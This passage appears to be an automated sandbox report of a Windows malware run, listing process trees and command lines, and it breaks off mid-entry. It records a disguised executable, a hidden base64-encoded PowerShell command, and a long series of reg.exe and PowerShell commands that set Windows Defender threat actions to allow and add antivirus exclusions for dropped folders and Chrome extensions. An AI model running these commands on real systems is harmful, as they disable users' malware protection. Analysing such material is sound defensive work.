                                                                                                        C:\Users\Admin\Pictures\rzuKW6hkPOVhwJc5rR8Tb2R4.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=106.0.4998.70 --initial-client-data=0x2b4,0x2c4,0x2c8,0x290,0x2cc,0x6de09558,0x6de09564,0x6de09570
                                                                                                        1⤵
                                                                                                          PID:1576
                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                          1⤵
                                                                                                            PID:4328
                                                                                                            • C:\Windows\system32\gpupdate.exe
                                                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                                                              2⤵
                                                                                                                PID:4584
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                              1⤵
                                                                                                                PID:1796
                                                                                                              • \??\c:\windows\system32\svchost.exe
                                                                                                                c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                                1⤵
                                                                                                                  PID:4048
                                                                                                                • \??\c:\windows\system32\gpscript.exe
                                                                                                                  gpscript.exe /RefreshSystemParam
                                                                                                                  1⤵
                                                                                                                    PID:4824
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 356
                                                                                                                    1⤵
                                                                                                                    • Program crash
                                                                                                                    PID:316
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 324
                                                                                                                    1⤵
                                                                                                                    • Program crash
                                                                                                                    PID:4520
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 596
                                                                                                                    1⤵
                                                                                                                    • Program crash
                                                                                                                    PID:2984
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 636
                                                                                                                    1⤵
                                                                                                                    • Program crash
                                                                                                                    PID:3536
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 668
                                                                                                                    1⤵
                                                                                                                    • Program crash
                                                                                                                    PID:3432
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 660
                                                                                                                    1⤵
                                                                                                                    • Program crash
                                                                                                                    PID:4576
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 624
                                                                                                                    1⤵
                                                                                                                    • Program crash
                                                                                                                    PID:3068
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 768
                                                                                                                    1⤵
                                                                                                                    • Program crash
                                                                                                                    PID:4192
                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    powershell -nologo -noprofile
                                                                                                                    1⤵
                                                                                                                      PID:1464
                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      powershell -nologo -noprofile
                                                                                                                      1⤵
                                                                                                                        PID:1068
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 788
                                                                                                                        1⤵
                                                                                                                        • Program crash
                                                                                                                        PID:1572
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 716
                                                                                                                        1⤵
                                                                                                                        • Program crash
                                                                                                                        PID:3364
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 696
                                                                                                                        1⤵
                                                                                                                        • Program crash
                                                                                                                        PID:3232
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 688
                                                                                                                        1⤵
                                                                                                                        • Program crash
                                                                                                                        PID:1564
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 640
                                                                                                                        1⤵
                                                                                                                        • Program crash
                                                                                                                        PID:3992
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 596
                                                                                                                        1⤵
                                                                                                                        • Program crash
                                                                                                                        PID:1672
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 340
                                                                                                                        1⤵
                                                                                                                        • Program crash
                                                                                                                        PID:796
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 380
                                                                                                                        1⤵
                                                                                                                        • Program crash
                                                                                                                        PID:4588
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 396
                                                                                                                        1⤵
                                                                                                                        • Program crash
                                                                                                                        PID:2060
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 356
                                                                                                                        1⤵
                                                                                                                        • Program crash
                                                                                                                        PID:3920
                                                                                                                      • C:\Windows\windefender.exe
                                                                                                                        C:\Windows\windefender.exe
                                                                                                                        1⤵
                                                                                                                          PID:3412
                                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                                          sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                                                                                                          1⤵
                                                                                                                          • Launches sc.exe
                                                                                                                          PID:1816
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\PPoGfHUEJWMQlhdih\STqvVSINdDxWlBS\lmKQlBZ.exe
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\PPoGfHUEJWMQlhdih\STqvVSINdDxWlBS\lmKQlBZ.exe Lc /kgsite_idmdR 385118 /S
                                                                                                                          1⤵
                                                                                                                            PID:5028
                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                              powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                                                              2⤵
                                                                                                                                PID:4988
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                                  3⤵
                                                                                                                                    PID:2268
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                                    3⤵
                                                                                                                                      PID:1068
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                      3⤵
                                                                                                                                        PID:4336
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                        3⤵
                                                                                                                                          PID:3724
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                          3⤵
                                                                                                                                            PID:4000
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:3040
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                                              3⤵
                                                                                                                                                PID:3992
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                                                3⤵
                                                                                                                                                  PID:96
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1268
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                                    3⤵
                                                                                                                                                      PID:4116
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                      3⤵
                                                                                                                                                        PID:1156
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                        3⤵
                                                                                                                                                          PID:3920
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                          3⤵
                                                                                                                                                            PID:3896
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                            3⤵
                                                                                                                                                              PID:4168
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                                              3⤵
                                                                                                                                                                PID:2968
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:4048
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:396
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:3964
                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:1392
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:1816
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:1864
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:2476
                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:208
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:4280
                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:5024
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:308
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:3900
                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:2256
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:4808
                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AplGwAcKU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AplGwAcKU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\KpccCTQHFwdaQGGjlLR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\KpccCTQHFwdaQGGjlLR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TewsSzADpkOsC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TewsSzADpkOsC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZmXCVzpeviUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZmXCVzpeviUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hzVOasbgcFlU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hzVOasbgcFlU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\cAagwmwWSSyWmtVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\cAagwmwWSSyWmtVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\PPoGfHUEJWMQlhdih\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\PPoGfHUEJWMQlhdih\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\tisqMnSmFJrmHkYA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\tisqMnSmFJrmHkYA\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:4196
                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AplGwAcKU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                              3⤵
                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                                                              PID:4172
                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KpccCTQHFwdaQGGjlLR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:408
                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\cAagwmwWSSyWmtVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:2256
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:5024
                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:308
                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\PPoGfHUEJWMQlhdih /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:1068
                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\tisqMnSmFJrmHkYA /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:208
                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\tisqMnSmFJrmHkYA /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:4280
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\PPoGfHUEJWMQlhdih /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:2268
                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
